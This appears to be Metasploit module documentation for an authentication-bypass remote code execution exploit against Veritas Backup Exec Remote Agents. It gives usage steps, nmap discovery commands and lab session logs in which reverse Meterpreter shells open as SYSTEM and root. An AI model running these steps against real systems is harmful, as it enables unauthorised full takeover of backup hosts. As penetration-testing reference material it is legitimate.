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Vulnerable Application

Backup Exec consists of a server component as well as remote agents that are installed on each host that should be backed up by the server.

There are remote agents available for a range of data sources, including operating-system level agents for Windows and Linux hosts' local filesystems, application-specific agents for Microsoft Exchange, SharePoint, Active Directory, etc., and agents for virtual machines such as VMware or Hyper-V instances. This exploit targets the Windows and Linux OS-level remote agents. The agents are installed as services running by default with NT AUTHORITY\SYSTEM or root user rights for Windows and Linux respectively.

Vulnerable Backup Exec Remote Agent versions are 9.3 and below. These agents' versions are distributed with Backup Exec versions 21.1 and below.

A trial version of Backup Exec can be downloaded from Veritas' website. All supported version of Backup Exec is available in Veritas' download center.

Verification Steps

  1. Download Backup Exec distributive and install Backup Exec Remote Agent on Windows or Linux host.
  2. Start msfconsole.
  3. Select the module and set the address of the host running the remote agent:
   use exploit/multi/veritas/beagent_sha_auth_rce
   set RHOSTS [REMOTE_AGENT_HOST]
  1. Check the service is running and potentially vulnerable with the check command.
  2. Set TARGET (Windows or Linux) depending on operating system on the host running the remote agent:
   set TARGET [OS_NAME]
  1. Set and configure preferred payload:
   set PAYLOAD [PAYLOAD_NAME]
   set LHOST [LOCAL_IP]
   set LPORT [LOCAL_PORT]
  1. If Backup Exec Remote Agent run on the Linux then set preferred interpreter to execute the command (by default, /bin/bash). The option does not matter for Windows hosts since the command will always be executed using C:\Windows\System32\cmd.exe.
   set INTERPRETER [INTERPRETER_NAME]
  1. Start the module using the exploit command.
  2. Enjoy the received shell.

An example session is as follows:

msf > use exploit/multi/veritas/beagent_sha_auth_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.141
rhosts => 172.16.180.141
msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248
lhost => 172.16.180.248
msf exploit(multi/veritas/beagent_sha_auth_rce) > show options

Module options (exploit/multi/veritas/beagent_sha_auth_rce):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.180.141   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   10000            yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.180.248   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows


msf exploit(multi/veritas/beagent_sha_auth_rce) > check

[*] 172.16.180.141:10000 - Checking vulnerability
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Getting supported authentication types
[*] 172.16.180.141:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 172.16.180.141:10000 - BE agent revision: 9.3
[*] 172.16.180.141:10000 - The target appears to be vulnerable. SHA authentication is enabled
msf exploit(multi/veritas/beagent_sha_auth_rce) > run

[*] Started reverse TCP handler on 172.16.180.248:4444
[*] 172.16.180.141:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.180.141:10000 - Checking vulnerability
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Getting supported authentication types
[*] 172.16.180.141:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 172.16.180.141:10000 - BE agent revision: 9.3
[+] 172.16.180.141:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 172.16.180.141:10000 - Exploiting ...
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Enabling TLS for NDMP connection
[*] 172.16.180.141:10000 - Passing SHA authentication
[*] 172.16.180.141:10000 - Uploading payload with NDMP_FILE_WRITE packet
[*] Sending stage (175686 bytes) to 172.16.180.141
[*] Meterpreter session 1 opened (172.16.180.248:4444 -> 172.16.180.141:49629) at 2022-09-23 10:33:42 +0300

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : TEST-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Options

INTERPRETER

The command line interpreter for executing Linux OS command. By default, the option is /bin/bash. For Windows the option does not matter and the command will always be executed using C:\Windows\System32\cmd.exe.

Scenarios

The Backup Exec Remote Agent is installed on each host that has local filesystems that should be backed up. These agents listen on the network for NDMP connections (10000/tcp), appearing in Nmap scans with scripts enabled as follows:

$ nmap -p10000 -n 172.16.180.0/24 --open -vvv
...
Discovered open port 10000/tcp on 172.16.180.133
Discovered open port 10000/tcp on 172.16.180.132
Discovered open port 10000/tcp on 172.16.180.141
...
$ nmap -p10000 -n -sV 172.16.180.133
...
10000/tcp open  ndmp    Symantec/Veritas Backup Exec ndmp (NDMPv3)
...

(Note that the ndmp-version script fails to execute due to not sending an NDMP_CONNECT_OPEN request before querying version information with the NDMP_CONFIG_GET_HOST_INFO request. This exploit module's check command will carry this query out successfully.)

Windows; Backup Exec 21.0 (Backup Exec Remote Agent, revision 9.3)

msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 192.168.123.147
rhosts => 192.168.123.147
msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf exploit(multi/veritas/beagent_sha_auth_rce) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.147:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.123.147:10000 - Checking vulnerability
[*] 192.168.123.147:10000 - Connecting to BE Agent service
[*] 192.168.123.147:10000 - Getting supported authentication types
[*] 192.168.123.147:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 192.168.123.147:10000 - BE agent revision: 9.3
[+] 192.168.123.147:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 192.168.123.147:10000 - Exploiting ...
[*] 192.168.123.147:10000 - Connecting to BE Agent service
[*] 192.168.123.147:10000 - Enabling TLS for NDMP connection
[*] 192.168.123.147:10000 - Passing SHA authentication
[*] 192.168.123.147:10000 - Uploading payload with NDMP_FILE_WRITE packet
[*] Sending stage (175686 bytes) to 192.168.123.147
[*] Meterpreter session 5 opened (192.168.123.1:4444 -> 192.168.123.147:49835) at 2022-09-22 15:23:19 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-BE1QFC9
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.123.147 - Meterpreter session 1 closed.  Reason: User exit

Linux; Backup Exec 16.0 (Backup Exec Remote Agent, revision 9.2)

msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.199.133
rhosts => 172.16.199.133
msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/veritas/beagent_sha_auth_rce) > set target 1
target => 1
msf exploit(multi/veritas/beagent_sha_auth_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/veritas/beagent_sha_auth_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.133:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.133:10000 - Checking vulnerability
[*] 172.16.199.133:10000 - Connecting to BE Agent service
[*] 172.16.199.133:10000 - Getting supported authentication types
[*] 172.16.199.133:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5)
[*] 172.16.199.133:10000 - BE agent revision: 9.2
[+] 172.16.199.133:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 172.16.199.133:10000 - Exploiting ...
[*] 172.16.199.133:10000 - Connecting to BE Agent service
[*] 172.16.199.133:10000 - Enabling TLS for NDMP connection
[*] 172.16.199.133:10000 - Passing SHA authentication
[*] 172.16.199.133:10000 - Uploading payload with CmdStager
[*] 172.16.199.133:10000 - Command Stager progress -  44.15% done (362/820 bytes)
[*] Sending stage (3020772 bytes) to 172.16.199.133
[*] 172.16.199.133:10000 - Command Stager progress - 100.00% done (820/820 bytes)
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.133:55062) at 2022-09-22 15:17:01 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : debian.test.com
OS           : Debian 9.13 (Linux 4.9.0-19-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.199.133 - Meterpreter session 2 closed.  Reason: User exit

Windows; Backup Exec 21.2 (Backup Exec Remote Agent, revision 9.4) - NOT VULNERABLE

msf exploit(multi/veritas/beagent_sha_auth_rce) > use exploit/multi/veritas/beagent_sha_auth_rce
msf exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.135
rhosts => 172.16.180.135
msf exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248
lhost => 172.16.180.248
msf exploit(multi/veritas/beagent_sha_auth_rce) > check

[*] 172.16.180.135:10000 - Checking vulnerability
[*] 172.16.180.135:10000 - Connecting to BE Agent service
[*] 172.16.180.135:10000 - Getting supported authentication types
[*] 172.16.180.135:10000 - Supported authentication by BE agent: BEWS2 (190), SSPI (4)
[*] 172.16.180.135:10000 - BE agent revision: 9.4
[*] 172.16.180.135:10000 - The target is not exploitable. SHA authentication is disabled
msf exploit(multi/veritas/beagent_sha_auth_rce) > run

[*] Started reverse TCP handler on 172.16.180.248:4444
[*] 172.16.180.135:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.180.135:10000 - Checking vulnerability
[*] 172.16.180.135:10000 - Connecting to BE Agent service
[*] 172.16.180.135:10000 - Getting supported authentication types
[*] 172.16.180.135:10000 - Supported authentication by BE agent: BEWS2 (190), SSPI (4)
[*] 172.16.180.135:10000 - BE agent revision: 9.4
[-] 172.16.180.135:10000 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. SHA authentication is disabled "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf exploit(multi/veritas/beagent_sha_auth_rce) >
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